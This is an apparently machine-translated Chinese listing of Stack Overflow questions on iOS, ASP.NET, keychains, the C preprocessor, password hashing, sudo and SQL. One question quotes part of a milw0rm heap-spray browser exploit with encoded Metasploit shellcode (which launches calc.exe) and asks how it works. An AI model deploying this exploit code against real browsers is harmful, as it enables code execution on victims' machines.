程序设计

专业和发烧友程序员的问答

5
试图了解CMTime和CMTimeMake
1)CMTimeMake(1,10)表示持续时间为1秒,时标为10或每秒10帧。这意味着1秒的视频持续时间为10帧? 2) CMTime lastTime=CMTimeMake(1,10); CMTime frameTime=CMTimeMake(1, 10); CMTime currentTime=CMTimeAdd(lastTime, frameTime) =(2,10)? 2秒的视频和当前时间每秒10帧?
145 video  ios4 

8
如何在ASP.NET MVC中收集模型状态错误?
如何在视图中收集错误? 我不想使用HTML Helper验证摘要或验证消息。相反,我想检查是否有错误,是否有错误以特定格式显示。另外,在输入控件上,我想检查特定的属性错误并将类添加到输入中。 PS我正在使用Spark View Engine,但想法应该是相同的。 所以我想我可以做... <if condition="${ModelState.Errors.Count > 0}"> DispalyErrorSummary() </if> ....and also... <input type="text" value="${Model.Name}" class="?{ModelState.Errors["Name"] != string.empty} error" /> .... 或类似的东西。 更新 我的最终解决方案如下所示: <input type="text" value="${ViewData.Model.Name}" class="text error?{!ViewData.ModelState.IsValid && ViewData.ModelState["Name"].Errors.Count() > 0}" id="Name" name="Name" /> 如果此属性有错误,则仅添加错误css类。

6
iPhone-大中央调度主线程
我一直在应用程序中成功使用大型中央调度程序,但是我想知道使用这样的东西的真正优势是什么: dispatch_async(dispatch_get_main_queue(), ^{ ... do stuff 甚至 dispatch_sync(dispatch_get_main_queue(), ^{ ... do stuff 我的意思是,在两种情况下,您都将触发要在主线程上执行的块,确切地说是应用程序的运行位置,这无助于减少负载。在第一种情况下,您无法控制该块何时运行。我已经看到了在您触发它们后半秒钟执行块的情况。第二种情况,类似于 [self doStuff]; 对? 我想知道你们的想法。

17
“不允许用户交互”尝试使用代码签名对OSX应用程序进行签名
我们的自动化版本正在Jenkins上运行。构建本身在从属服务器上运行,并且从属服务器通过SSH执行。 我收到一个错误: 00:03:25.113 [codesign-app] build/App.app: User interaction is not allowed. 我已经尝试了到目前为止在其他帖子中看到的所有建议: 签名前立即使用安全性解锁钥匙串以解锁钥匙串。 将签名密钥移到其自己的钥匙串中。 将签名密钥移到登录密钥链中。 将签名密钥移到系统密钥链中。 手动将列表钥匙串设置为仅包含钥匙的钥匙串。 在所有情况下,我都会遇到相同的错误。 为了诊断问题,我尝试在本地终端上运行“ security unlock-keychain”命令,发现它实际上并没有解锁钥匙链-如果我在“钥匙串访问”中查看,则锁符号仍然存在。无论是在命令行上通过密码还是让其提示输入密码,都是这种情况。使用GUI解锁相同的钥匙串会提示我输入密码,然后将其解锁。另外,如果我运行“ security lock-keychain”,则在运行命令后我会立即看到密钥锁。这使我认为解锁钥匙串实际上不起作用。我在Lion(我们用于构建奴隶)和Mavericks(我正在开发)上遇到相同的行为。 接下来,我尝试将-v添加到所有安全命令中: list-keychains "-d" "system" "-s" "/Users/tester/.secret/App.keychain" Listing keychains to see if it was added: (( "/Library/Keychains/System.keychain" )) unlock-keychain "-p" "**PASSWORD**" "/Users/tester/.secret/App.keychain" build/App.app: User interaction is not allowed. 由此看来,列表钥匙串是行不通的。也许都不行。:/ …

3
在C / C ++预处理器中,在其自己的行上加一个井号/井号(#)的目的是什么?
我一直在看Boost库的源代码,并且我注意到通常有单个磅号,但没有附加任何预处理程序指令。我通读了GCC预处理程序手册和规范指南,但找不到任何相关内容。 (1) #ifndef BOOST_CONFIG_HPP (2) # include <boost/config.hpp> (3) #endif (4) # (5) #if defined(BOOST_HAS_PRAGMA_ONCE) (6) # pragma once (7) #endif 在第4行,英镑符号后面没有任何内容。这有什么作用?它在C预处理程序(CPP)规范中定义吗? 由于Boost是跨平台的库,因此我认为任何CPP都应正确解析它。在整个代码中具有随机的磅/哈希符号会产生什么影响/副作用?
145 c++  c  boost  c-preprocessor 

7
这种milw0rm堆喷利用如何工作?
我通常没有阅读JavaScript代码的困难,但是对于这一点,我无法弄清楚逻辑。该代码来自4天前发布的漏洞利用程序。您可以在milw0rm上找到它。 这是代码: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory …

4
最佳做法:添加密码?
我遇到了一个讨论,在该讨论中,我了解到我实际上在做的并不是给密码加盐,而是给它们添加了胡椒粉,从那时起,我就开始使用以下功能: hash_function($salt.hash_function($pepper.$password)) [multiple iterations] 忽略选择的哈希算法(我希望这是关于盐和胡椒的讨论,而不是特定算法的讨论,但我使用的是安全算法),这是安全的选择还是我应该做一些不同的事情?对于那些不熟悉这些术语的人: 甲盐是通常存储与设计,使其不可能使用哈希表来破解密码的数据库中的字符串中的随机生成值。由于每个密码都有自己的特色,因此必须将所有密码单独强行破解。但是,由于盐与密码哈希一起存储在数据库中,因此数据库泄密意味着同时丢失两者。 甲胡椒是从中旨在是秘密的数据库(在应用程序的源代码通常硬编码)分开存储站点范围静态值。使用它是为了避免对数据库造成危害,不会导致整个应用程序的密码表都是蛮力的。 我有什么遗漏的东西吗?保护密码安全的最佳选择是保护我的用户的安全吗?这样做是否有潜在的安全缺陷? 注意:出于讨论目的,假设应用程序和数据库存储在单独的计算机上,不共享密码等,因此违反数据库服务器并不自动意味着违反了应用程序服务器。




3
如何以没有密码的其他用户身份运行脚本?
我有必须作为user2运行的script.sh。但是,此脚本只能在我的应用程序的user1下运行。 我想运行以下命令: su user2 -C script.sh 但无需密码即可运行。 我也希望这是非常严格的限制,因为在user1中只能在user2下运行script.sh,而不能在其他任何情况下运行。 我已经尝试过使用sudoers文件执行此操作,但经过数小时的尝试,它才变得无穷无尽。 如果有人可以提供一个明确的示例说明如何完成此操作(而不是像use sudoers这样的通用名称),将不胜感激。
145 linux  bash  sudo  su  sudoers 




5
选择唯一和选择不同之间的区别
我以为它们是同义词,但是我在Microsoft SQL中写了以下内容: Select Unique col from (select col from table1 union select col from table2) alias 它失败了。更改为 Select Distinct col from (select col from table1 union select col from table2) alias 解决它。有人可以解释吗?
145 sql  sql-server 

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.